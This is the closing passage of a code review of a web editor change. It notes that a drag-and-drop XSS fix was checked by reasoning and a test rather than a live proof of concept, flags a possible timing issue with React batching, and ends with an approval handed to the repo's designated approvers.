• Did not construct a live PoC for the drag-drop XSS path — the R3 fix is mechanistically correct (drop event's default is what inserts HTML; preventDefault + plain-text rail closes the window) and the test asserts markup does not land.
• The element === selection.element check in ownsCurrentPreviewElement is what stops commits from resolving onto a reload-replacement node. Under React batching, selection inside the commit's closure should still point at the pre-blur value, so I don't expect this to false-positive on ordinary "click another element" flows — but I did not trace DomEditSelection update ordering vs. the blur → commit synchronous path in-app. Worth watching if anyone reports "my edit disappeared when I clicked away."

Verdict

LGTM from my side — R1 concrete sweep landed cleanly, closures are at the mechanism layer with test coverage on each one, and R3's own additions read tight. Rebase-only from here as far as I'm concerned. Not stamping (routing to whoever's on the trusted-stamper list for this repo).

— Review by Rames D Jusso